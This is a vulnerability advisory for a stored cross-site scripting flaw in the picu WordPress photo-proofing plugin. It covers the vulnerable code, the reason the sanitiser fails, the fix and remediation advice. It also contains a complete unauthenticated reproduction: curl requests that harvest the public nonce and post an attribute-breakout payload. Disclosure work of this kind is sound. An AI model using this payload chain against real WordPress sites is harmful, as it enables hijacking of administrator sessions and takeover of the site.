CVE-2026-104395 The hidden field that was never escaped in picu
Intrudify's autonomous pentesting engine discovered a stored cross-site scripting vulnerability in the picu photo proofing plugin for WordPress, affecting all versions up to and including 3.10.1. One request from a visitor with no account stores a value that the collection edit screen prints into an HTML attribute without escaping it. The script runs in the photographer's own administrator session the next time they open the collection. Fixed in 3.10.2.
Summary
picu turns a WordPress site into a proofing gallery. The photographer uploads a set of images, picu publishes them at an unlisted URL, and the client opens that URL and marks the ones they want. The client has no account, so approving has to work for a visitor holding nothing but a link.
Approving touches the collection post, and touching it fires save_post_picu_collection with the anonymous caller's fields still in $_POST. One of the handlers on that hook rebuilds the collection's image list from $_POST['picu_gallery_ids'], runs sanitize_text_field() over it and writes the result to post meta. There is no nonce check and no capability check.
The collection edit screen then prints that meta value into an HTML attribute with a bare echo. No esc_attr(), no esc_html(), no kses. One double quote in the stored value closes the attribute, and everything after it is parsed as further attributes on the same element.
sanitize_text_field() strips tags. The payload needs none. A quote, some spaces, an equals sign and a pair of parentheses are enough when the injection point is already inside a tag, and the function preserves every one of them. The same unauthenticated write primitive is the subject of CVE-2026-104406, reported nineteen minutes later on the same day. That one reaches a deletion hook. This one reaches the photographer's browser.
Technical detail
The sink
picu_display_draft_view() builds the gallery uploader box on the collection edit screen. It reads the stored id list and prints it:
// backend/includes/picu-edit-collection.php, picu 3.10.1
function picu_display_draft_view( $post ) { // line 598
// Load the IDs of all uploaded images into an array
$gallery_data = get_post_meta( $post->ID,
'_picu_collection_gallery_ids', true ); // line 601
...
<input type="text" id="picu-gallery-ids"
name="picu_gallery_ids" class="hidden"
value="<?php echo $gallery_data; ?>"> // line 684
<?php wp_nonce_field( 'picu_gallery_ids', 'picu_gallery_ids_nonce' ); ?> // line 685
}The value is placed inside a double-quoted attribute and arrives exactly as it was stored. The line immediately below it prints a nonce field for this very form, which is worth noticing: picu had already decided this input needed a nonce. Nothing on the write side verified it.
The source
picu_sort_collection_images() is the handler that writes the meta:
// backend/includes/picu-edit-collection.php, picu 3.10.1
function picu_sort_collection_images( $post_id ) { // line 1435
if ( ! empty( $_POST['sort-collection'] )
AND ! empty( $_POST['picu_gallery_ids'] )
AND isset( $_POST['sort-collection-submit'] ) ) { // line 1437
$picu_collection_images =
sanitize_text_field( $_POST['picu_gallery_ids'] ); // line 1439
$picu_gallery_ids = explode( ',', $picu_collection_images );
$images = [];
foreach( $picu_gallery_ids as $image_id ) {
// the untrusted string becomes an ARRAY KEY
$images[ $image_id ] = basename( get_attached_file( $image_id ) );
} // line 1451
// and comes back out of the keys, byte for byte
$picu_gallery_ids = implode( ',', array_keys( $images ) ); // line 1472
update_post_meta( $post_id,
'_picu_collection_gallery_ids', $picu_gallery_ids ); // line 1473
}
}
// no nonce check, no capability check, no autosave guard
add_action( 'save_post_picu_collection',
'picu_sort_collection_images' ); // line 1491Two things carry the payload through. The first is the sanitiser, which is a tag remover standing in for an escaper. The second is the round trip through an array key. PHP keeps a non-numeric string as a string key, so array_keys() returns the attacker's bytes unchanged and implode() writes them back into the list. get_attached_file() fails on that key and basename() returns an empty string, which is sorted to the front and otherwise ignored.
Both halves were measured:
// measured in the lab, WordPress 7.1.3, PHP 8.3
$p = '9" style=display:block tabindex=1 autofocus'
. ' onfocus=alert(document.domain) x="';
sanitize_text_field( $p ) === $p // YES, byte for byte
// the same function against something it IS built to remove
sanitize_text_field( '<img src=x onerror=1>' ) // '' (empty)
// what 3.10.2 does with the same input
esc_attr( $p )
// 9" style=display:block ... x="
picu_sanitize_gallery_ids( $p . ',15,16' ) // '9,15,16'sanitize_text_field() is doing its job. Handed a tag it returns an empty string. The payload is not a tag, so the function has nothing to find.
The unauthenticated path to the handler
The approval endpoint is registered for visitors with no account, which is correct for a feature whose whole purpose is to work without one:
// frontend/includes/save-collection.php, picu 3.10.1
add_action( 'wp_ajax_nopriv_picu_send_selection',
'picu_send_selection' ); // line 137
// backend/includes/picu-helper.php
function picu_update_collection_history( $post_id, $event, ... ) { // line 197
// the loop guard: two handlers are taken off the hook
remove_action( 'save_post_picu_collection', 'picu_collection_publish' ); // 231
remove_action( 'save_post_picu_collection', 'picu_messaging_logic' ); // 232
wp_update_post( [ ... ] ); // line 236
}
// seven handlers are attached to that hook. two are removed.
// picu_sort_collection_images is not one of them.Seven functions are attached to save_post_picu_collection. The loop guard above the update removes two of them. picu_sort_collection_images() stays attached and runs with the anonymous caller's $_POST in scope. The full account of that hook is in CVE-2026-104406.
The element is hidden, and that matters
The input carries class="hidden". A hidden element cannot receive focus, so a payload built from autofocus and onfocus alone is stored and never fires. The payload has to restore the element's own visibility before its handler can run, which is what style=display:block is doing in the string above. This was measured in both directions and the result is in the next section.
Verification
WordPress 7.1.3, PHP 8.3, picu 3.10.1 as the only plugin, default theme, on http://127.0.0.1:8475. The collection was created the way a photographer creates one, through an auto-draft and then a title, so it carries picu's random sixteen character slug (7d7bd638f5ad4295) and nothing about it is guessable.
# every request below carries no cookie and no account
# 1. the collection URL answers an anonymous visitor with the client token
$ curl -s -i http://127.0.0.1:8475/collections/7d7bd638f5ad4295/
HTTP/1.1 302 Found
Location: .../collections/7d7bd638f5ad4295/?ident=ca882190ef38be7dca81f612ef11e46bf
# 2. the AJAX nonce is printed on that public page
$ curl -s ".../?ident=ca8821..." | grep -oE '"nonce":"[a-f0-9]{10}"'
"nonce":"146b10ba4d"
# 3. one POST. the payload rides in picu_gallery_ids.
$ curl -s http://127.0.0.1:8475/wp-admin/admin-ajax.php \
--data-urlencode 'action=picu_send_selection' \
--data-urlencode 'security=146b10ba4d' \
--data-urlencode 'postid=4' \
--data-urlencode 'ident=ca882190ef38be7dca81f612ef11e46bf' \
--data-urlencode 'selection[]=5' \
--data-urlencode 'intent=approve' \
--data-urlencode 'sort-collection=order-by-name-asc' \
--data-urlencode 'sort-collection-submit=1' \
--data-urlencode 'picu_gallery_ids=5,6,9" style=display:block'
' tabindex=1 autofocus onfocus=alert(document.domain) x="'
{"success":true,"data":{"message":"You successfully approved this collection."}}
# 4. read the value back out of the database
$ wp post meta get 4 _picu_collection_gallery_ids
9" style=display:block tabindex=1 autofocus onfocus=alert(document.domain) x=",5,6The stored value is the submitted string, byte for byte. The payload named two real attachment ids alongside the injected one so that no image dropped out of the list, which keeps this measurement about the script and not about the deletion that CVE-2026-104406 covers. Both attachments were present before and after.
Then the photographer logs in over HTTP and opens the collection, in a real browser driven by Playwright with a dialog handler attached:
// the photographer logs in over HTTP and opens their own collection
// GET /wp-admin/post.php?post=4&action=edit
// dialogs caught: 1 message: 127.0.0.1
// the element as the browser parsed it:
<input type="text" id="picu-gallery-ids"
name="picu_gallery_ids" class="hidden"
value="9"
style="display:block"
tabindex="1"
autofocus=""
onfocus="alert(document.domain)"
x=",5,6">
// seven attributes where the template wrote onealert(document.domain) returned 127.0.0.1, which is the site's own origin, inside /wp-admin/. The administrator clicked nothing. autofocus fires during load.
Three controls
// control 1: the same request with an honest id list
// stored: 9,10
<input ... class="hidden" value="9,10">
// dialogs: 0. the break-out comes from the quote, not from opening the screen.
// control 2: the same payload with style=display:block removed
// stored: 9" tabindex=1 autofocus onfocus=alert(document.domain) x=",12,13
<input ... class="hidden" value="9"
tabindex="1" autofocus=""
onfocus="alert(document.domain)" x=",12,13">
// dialogs: 0. the attributes ARE injected. the element cannot take focus,
// because class="hidden" is still in force, so autofocus does nothing.
// instrument control, run before every measurement above
// data:text/html,<script>alert('instrument-control')</script>
// dialogs: 1 message: instrument-controlControl 2 is the one worth reading twice. The injection succeeded in both runs: the element carries tabindex, autofocus and onfocus either way. Only the run that also overrode display executed anything. Injected markup and executed script are different claims, and this separates them.
The same requests against 3.10.2
// picu 3.10.2, same lab, same anonymous request
$ wp post meta get 14 _picu_collection_gallery_ids
15,16
$ curl -s .../admin-ajax.php --data-urlencode '...' \
--data-urlencode 'picu_gallery_ids=15,16,9" style=display:block ...'
{"success":true,"data":{"message":"You successfully approved this collection."}}
$ wp post meta get 14 _picu_collection_gallery_ids
15,16 // unchanged. the approval still works.
// and the sink, tested on its own: the payload forced into the meta
// the way a site poisoned on 3.10.1 would still be carrying it
<input ... value="9" style=display:block tabindex=1 autofocus
onfocus=alert(document.domain) x=",15,16">
// dialogs: 0One limit belongs here because it was measured. A client identifier is good for one approval. After the first one the per-client status is no longer in open, sent or publish, and further requests on that identifier are refused with You can not make any changes to this collection. One write is all the attack needs, and the controls above were each run against a fresh collection for that reason.
The nonce was 146b10ba4d on every collection, on both releases, more than an hour apart. That is what a logged-out nonce is: WordPress derives it from the action name and the day, and every anonymous visitor computes the same value.
Impact
The attacker needs the site address and nothing else. No account, no cookie, no emailed link. On an affected release the collection URL and the client's token are both recoverable by requesting sequential post ids, and the nonce is printed on the public page for anyone who asks.
The victim is the photographer, in their own wp-admin session, on the one screen they have to open to do anything with the collection. Script there runs in the site's own origin with that session's cookies and the nonces printed on the page, which is enough to create a second administrator account or install a plugin, and installing a plugin is PHP of the attacker's choosing running on the server. Nothing has to be clicked and nothing has to be typed.
The two published vectors disagree on one metric. Patchstack scored 7.1 on CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L and Wordfence 7.2 on UI:N/A:N, the difference being whether opening the collection counts as user interaction. Both land in the High band and the practical answer is the same: the screen in question is where a photographer manages the collection, so it gets opened.
picu reports a little over two thousand installs. The population is small and it is almost entirely working photographers, for whom the compromised session is the one that holds every client gallery on the site.
Remediation
Update picu to 3.10.2 or later. It is the current release.
// picu 3.10.2, four changes. the two that close this finding:
// the sink, picu-edit-collection.php line 684
- value="<?php echo $gallery_data; ?>"
+ value="<?php echo esc_attr( $gallery_data ); ?>"
// the source, picu_sort_collection_images()
+ if ( ! isset( $_POST['picu_gallery_ids_nonce'] )
+ OR ! wp_verify_nonce( $_POST['picu_gallery_ids_nonce'],
+ 'picu_gallery_ids' ) ) {
+ return;
+ }
+ if ( defined( 'DOING_AUTOSAVE' ) && DOING_AUTOSAVE ) { return; }
+ if ( ! current_user_can( picu_capability(), $post_id ) ) { return; }
- $picu_collection_images = sanitize_text_field( $_POST[...] );
+ $picu_collection_images = picu_sanitize_gallery_ids( $_POST[...] );
// backend/includes/picu-helper.php line 258, new in 3.10.2
function picu_sanitize_gallery_ids( $ids ) {
return implode( ',', array_filter(
array_map( 'absint', explode( ',', (string) $ids ) ) ) );
}The release fixes both ends. The sink escapes, and the source now requires a nonce, refuses autosaves, checks the photographer capability and reduces the id list to integers. Either end alone would have stopped the measured chain, and the same release also closes the deletion path described in CVE-2026-104406. Exactly one esc_attr() was added across the whole release, which is this one.
A site that was attacked before updating does not need its database cleaned to stop the script. That was measured: with the payload sitting in the meta, 3.10.2 renders it inside value= with the quotes encoded and nothing runs. The stored value is still a damaged image list, though, so open each collection and check that its images are the ones that belong to it. Re-saving the collection as the photographer rewrites the meta through the guarded path.
For developers, the rule the fix restores: escape at output, for the context you are printing into. Sanitising at the write decides the question once, for whichever writer ran last, on behalf of every reader that comes afterwards. esc_attr() at the sink is correct whatever the database holds and whoever put it there.
The wider lesson
Two CVE identifiers came out of one missing check. The unauthenticated approval lets a stranger write _picu_collection_gallery_ids, and that is the whole defect. What it is worth depends entirely on who reads that meta key afterwards. One reader compares the new list against the old one and deletes the difference, which is CVE-2026-104406. Another prints it into an attribute on the photographer's screen, which is this one. Neither reader is in the handler that does the writing.
So the habit worth keeping: when a write primitive turns up, do not stop at the consequence that announced itself. Grep for every reader of the key, the option or the row you can now control, and ask of each one what it does with the bytes. The deletion was loud and the attribute was silent, and the silent one is the one that reaches an administrator session.
The second point is about a function being read for its name. sanitize_text_field() sounds like a general cleaner and is a tag remover with a few extras. It behaved correctly here, destroying a real tag and returning an empty string, while passing the payload through untouched. A guard that is working exactly as designed still guards nothing when the input it was designed for is not the input that arrives. Ask of any sanitiser which characters it is documented to remove, and set that list against the characters the output context treats as special.
Disclosure timeline
- 2026-09-26 Vulnerability identified and confirmed by Intrudify, reported via Patchstack
- 2026-10-01 Release 3.10.2 published by Haptiq
- 2026-10-05 Public disclosure by Patchstack
- 2026-10-06 CVE-2026-104395 published
Questions
What is CVE-2026-104395?
CVE-2026-104395 is a stored cross-site scripting vulnerability in the picu photo proofing plugin for WordPress, affecting all versions up to and including 3.10.1. An unauthenticated request stores a value in post meta through a save handler that checks no nonce and no capability, and the collection edit screen prints that value into an HTML attribute with no escaping. The script runs in the photographer's administrator session.
Who can exploit CVE-2026-104395?
Anyone who can reach the site. No account and no cookie are required. The client access token is handed to an anonymous visitor by the collection URL, and the AJAX nonce the route requires is the logged-out nonce, which is identical for every anonymous visitor and printed on the public collection page.
Why does sanitize_text_field not stop this?
Because the payload contains no tags. sanitize_text_field strips tags and encodes a few characters, and it leaves the double quote, the space, the equals sign and parentheses alone. The injection point is already inside an HTML tag, so those characters are all the payload needs. Measured in the lab, the function returned the payload byte for byte while correctly reducing a real tag to an empty string.
I updated after being attacked. Do I need to clean the database?
Not to stop the script. 3.10.2 escapes the value at the point it is printed, which was verified with the payload still sitting in post meta: the quotes are encoded, the whole string stays inside the value attribute and nothing runs. The stored value is still a damaged image list, so check that each collection shows the images it should and re-save it as the photographer to rewrite the list through the guarded path.
How do I fix CVE-2026-104395?
Update picu to 3.10.2 or later. That release adds esc_attr() at the point the value is printed, and adds a nonce check, an autosave guard, a capability check and an integer-only sanitiser to the handler that writes it. Either change alone would stop the attack.